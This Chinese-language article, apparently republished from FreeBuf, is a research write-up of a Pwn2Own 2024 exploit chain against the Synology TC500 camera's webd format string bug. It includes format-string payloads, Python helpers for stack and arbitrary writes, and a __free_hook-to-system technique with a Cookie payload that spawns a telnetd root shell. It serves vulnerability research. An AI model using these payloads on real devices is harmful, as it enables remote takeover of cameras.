Pwn2Own Ireland 2024 Synology TC500摄像头格式化字符串漏洞分析
InfoSect团队在Pwn2Own比赛中针对Synology TC500摄像头开发了一条利用链,核心为一个格式化字符串漏洞。尽管未能在比赛中成功使用,但该研究展示了如何通过信息泄露、栈写和任意读写原语实现远程代码执行。最终因固件更新修补漏洞而未能提交。 2025-8-10 05:34:12 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

前言

2024 年 10 月,InfoSect 参加了 Pwn2Own 漏洞赏金比赛,目标涵盖摄像头、NAS、智能音箱等嵌入式设备。本文将分享我们为在 Synology TC500 智能摄像头上实现远程代码执行而开发的一条利用链,核心是一处格式化字符串漏洞。虽然最终我们并未能在比赛上成功使用该利用链,但它仍是一次非常有趣的格式化字符串漏洞研究案例。

攻击面

该摄像头的固件可以公开下载,并可参考第 6 届 Real World CTF 的类似配置,在模拟环境中运行。通过仿真,我们梳理出了该设备的攻击面:在 LAN 侧开放的接口之一是用于登录并管理相机的webd二进制程序;另一个开放端口则是 RTSP 管理进程streamd

$ netstat -plantu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
PID/Program name
tcp    0     0     0.0.0.0:443    0.0.0.0:*    LISTEN    770/webd
tcp    0     0     0.0.0.0:554    0.0.0.0:*    LISTEN    847/streamd
tcp    0     0     0.0.0.0:80     0.0.0.0:*    LISTEN    770/webd
tcp    0     0     :::554         :::*         LISTEN    847/streamd
udp    0     0     0.0.0.0:19998  0.0.0.0:*              770/webd

webd二进制文件是基于开源 civetweb Web 服务器的定制版本,仅针对调试、日志记录以及与 RTSP 服务的交互做了少量修改。它运行于 32 位 ARM 平台,并启用了常见的应用级安全缓解措施:PIE、RELRO、ASLR 和stack canaries,使用的glibc版本为v2.30。

漏洞发现

在对webd进行逆向分析时,我们发现其对process_new_connection函数做了细微修改。每当工作线程收到新的 HTTP 请求时,就会调用该函数进行处理。Synology 额外引入了一个全局调试信息表,用于记录每个工作线程及其最近处理的连接信息。在process_new_connection的末尾,系统通过snprintf将当前请求信息追加到thread_name字段中。

req_uri = conn->request_info.request_uri;
...
char thread_name[0x80];
mg_snprintf(0, nullptr, thread_name, 0x80, "%s%s", ..., req_uri);

随后,thread_name通过调用set_thread_name被追加到worker_debug_table中。

if (worker_debug_table != 0)
    set_thread_name(pthread_self(), thread_name);

然而,在set_thread_name内部,输入的thread_name被直接作为唯一实参传入mg_snprintf,这就引入了一个格式化字符串漏洞:原始request_uri被当作格式字符串直接用于snprintf

void set_thread_name(pthread_t self, char* thread_name)
{
    ...
    if (worker_debug_table[i]->thread == self)
    {
        mg_snprintf(0, nullptr, worker_debug_table[i]->name, 0x80, thread_name);
        worker_debug_table[i]->name[strlen(thread_name)] = 0;
    }
    ...
}

漏洞利用

信息泄露原语

worker_debug_table中的线程名并不会返回给远程用户,因此我们一开始无法像%p%p%p%p这样直接通过 URI 从栈上泄露指针。不过,通过观察触发漏洞时snprintf的栈状态,我们找到了一条潜在的信息泄露路径。

pwndbg> telescope
...
07:001c| 0x7588268c -> 0x75500610 <- 0x312e31 /* '1.1' */

在栈的第七个位置上,存放着一个指向字符串的指针,该字符串包含请求所使用的 HTTP 版本。这意味着我们可以利用该漏洞覆盖这个指针,构造如下所示的 URL:%*[some_stack_entry_index]$c%7$n

这条格式化字符串分为两部分:

  • %*[some_stack_entry_index]$c:按位置参数从栈上取出某个值,并以该值作为“已写入字符数”。

  • %7$n:将到目前为止格式化输出的总字节数写入第 7 个位置参数(即我们所说的第七个栈指针)。

例如,对于下面的 C 代码,最终将有 3 个字节被计入,变量x也就被更新为 3。

int x;
printf("%*3$c%7$n", "abcdefghijklmn", NULL, 3, NULL, NULL, NULL, &x);

使用这种格式,我们可以向 HTTP 版本字符串写入一个指针,该字符串随后会被返回给我们,从而实现 ASLR 绕过。此技术的限制在于,在特定架构和 glibc 版本下,最多只能写入约 0x60000000 字节。这意味着我们无法写入一个位于可执行段之外(地址范围约为 0x50000000–0x60000000)的完整指针。

栈写原语

我们可以使用带有自定义长度的字符串,通过类似技术来覆盖栈中的任何指针。格式字符串必须为%[some-value]c%[some_stack_index]$n。利用%n%hn%hhn,我们可分别写入 32 位、16 位或 8 位数据。

任意写原语

通过将栈写原语转化为任意写原语,我们可以把栈指针更新为指向自身。在栈偏移 3664 处存在一个指向栈的指针,我们将其称为p1p1可被修改为指向另一个栈指针p2,而p2位于栈中再往后 0x10 字节的位置。

pwndbg> tele $sp+3664
00:0000| 0x758834c0 <- 0x758834c0 ## p1
...
04:0010| 0x758834d0 -> 0x75882e68 ## p2 <- 0x5f715ee8

在用%hhn覆盖该偏移后,可将其修改如下。

pwndbg> tele $sp+3664
00:0000| 0x758834c0 -> 0x758834d0 ## p1 -> 0x75882e68 ## p2<- 0x5f715ee8
04:0010| 0x758834d0 -> 0x75882e68 ## p2 <- 0x5f715ee8

这些指针位于工作线程栈的极深处,因此指针的修改可在多次请求间保持不变。

现在,我们可以通过p1更新p2,使栈指针指向任意地址;随后再通过更新p2的内容,将数据写入该任意地址。

借助p1p2可被指向栈中偏移 2080 的位置。该区域实际上未被使用,因此对其所做的更改也能在多次请求间保持。我们将指向该区域的指针称为p3。于是,p2指向p3,我们可以通过先更新p2的最后一个字节,再覆盖p3的内容来逐步调整p3,从而可在p3处构造出任意指针。随后,使用与栈写相同的方法,利用p3的栈索引完成写入。8 位任意写原语的代码如下所示。

def stack_write8(offset, value):
    entry = offset // 4
    if len(CLIENT_IP) + 1 > value:
        value += 0x100
    req = b'GET /%' + str(value - len(CLIENT_IP) - 1).encode() + b'c%' +
    str(entry).encode() + b'$hhn HTTP/1.1\r\n\r\n'
    print(req)
    do_request(req)

def arb_write8(addr, value):
    # Point to offset 2080 by updating p2's last byte to 0x90
    stack_write8(p1, 0x90)
    # Write the last byte of the address to p2 (which is pointing to p3)
    stack_write8(p2, addr & 0xFF)
    # Increment p2 by one byte
    stack_write8(p1, 0x91)
    # Write 2nd byte of address to p2
    stack_write8(p2, (addr >> 8) & 0xFF)
    # repeat until all bytes are written
    stack_write8(p1, 0x92)
    stack_write8(p2, (addr >> 16) & 0xFF)
    stack_write8(p1, 0x93)
    stack_write8(p2, (addr >> 24) & 0xFF)
    if len(CLIENT_IP) + 1 > value:
        value += 0x100
    req = b'/%' + str(value - len(CLIENT_IP) - 1).encode() + b'c%' + str(OFFSET_STACK_DATA // 4).encode() + b'$hhn'
    return do_request(b'GET %s HTTP/1.1\r\n\r\n' % req

任意读原语

将任意写原语与信息泄露原语结合,就可以实现任意读原语。只需把信息泄露中使用的http_version字符串地址改写成目标地址,然后发起一次请求,就能把该地址上的内容泄露出来。

获取远程Shell

要获得远程 Shell,关键在于 glibc 2.30 为多种 libc API 提供了“钩子”。我们采用的总体思路为:将__free_hook覆盖为system()的地址,并以指向受控字符串的指针作为free()的第一个参数调用它。

首先,利用信息泄露原语可以确定 PIE 基址,进而获得.got的地址。.got中保存了 glibc 函数的地址,如systemmallocfree。借助.got中的信息,可以计算出 glibc 的基址,从而得到__free_hook的地址。随后,使用任意写原语将__free_hook覆盖为system

接下来,可以通过CookieHTTP 头强制webd进程对受控字符串调用free(此时已变成system)。位于0x34a54的函数(我们称之为GetSessionIdFromCookie)会根据 Cookie 值创建一个std::string

int32_t* GetSessionIdFromCookie(int32_t* arg1, struct mg_request_info*arg2) {
    int32_t num_headers = arg2->num_headers
    ...
    if (num_headers <= 0)
        ...
    else
        ...
    while (true)
        if (strcmp(p1: arg2->headers[i_2].name, p2: "Cookie") == 0)
            char* cookie = arg2->headers[i_2].value
            
            if (cookie != 0)
                ....
                std::string::_M_construct<char const*>(&delim, "; ", &data_afee8[2])
                std::vector<std::string> split_cookie
                SplitStr(ret: &split_cookie, &cookie_1, &delim) // [1]
                ...
                std::vector<std::string> split_cookie_1 = split_cookie
                ...
            else
                while (true)
                    cookie_1 = &var_3c
                    std::string::_M_construct<char const*>(&cookie_1, "=", &data_ab95c[9])
                    SplitStr_2(&var_8c, &split_cookie_1[2], &cookie_1)
                    void* cookie_3 = cookie_1
                    if (cookie_3 != &var_3c) // [2]
                        operator delete(ptr: cookie_3)
}

[1]处,该函数以分号为分隔符分割 Cookie,将结果存放在split_cookie向量中。随后在[2]处,函数会删除从 Cookie 开头到第一个分号的所有内容。因此,我们可以发送如下内容的 Cookie:

Cookie: telnetd -p 1337 -l /bin/sh -F; AAAAAAA 

当 Cookie 被分割后,telnetd命令将在字符串被释放时由system()执行。

小结

该利用方式在受漏洞影响的 TC500 固件版本上运行良好。然而,就在我们飞往爱尔兰提交利用代码的前一晚,Synology 推送了一次固件更新,修补了该格式字符串漏洞。这就是 Pwn2Own 的真实写照……

如果你想了解针对该漏洞的另一种利用方式,可以阅读Baptiste MOINE 撰写了一篇关于 Synology 的精彩文章

参考链接


文章来源: https://www.freebuf.com/articles/vuls/443690.html
如有侵权请联系:admin#unsafe.sh